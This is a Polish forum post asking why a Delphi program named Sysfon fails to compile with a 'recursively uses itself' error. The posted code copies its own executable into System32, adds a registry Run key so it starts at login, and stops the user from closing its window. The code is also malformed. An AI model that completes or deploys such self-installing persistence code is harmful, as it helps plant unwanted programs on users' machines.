Mam blad ...problem.Podczas kompilowania programu wyskakuje taki blad
Oto kody do "unitu" poniżej:
sysfon.pas
...i "projectu":
sysfon.dpr
Dlaczego mam ten blad ?? co zrobilem nie tak ??
[Fatal Error] sysfon.pas(1): Program or unit 'sysfon.pas' recursively uses itself[/b]
Oto kody do "unitu" poniżej:
sysfon.pas
Kod:
unit Sysfon;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SYSFON','C:WINDOWSSystem32sysfon.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32sysfon.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := False;
end;
end;
end.
...i "projectu":
sysfon.dpr
Kod:
program Sysfon;
uses
Forms,
sysfon in 'sysfon.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
application.showmainform:=false;
end.
Dlaczego mam ten blad ?? co zrobilem nie tak ??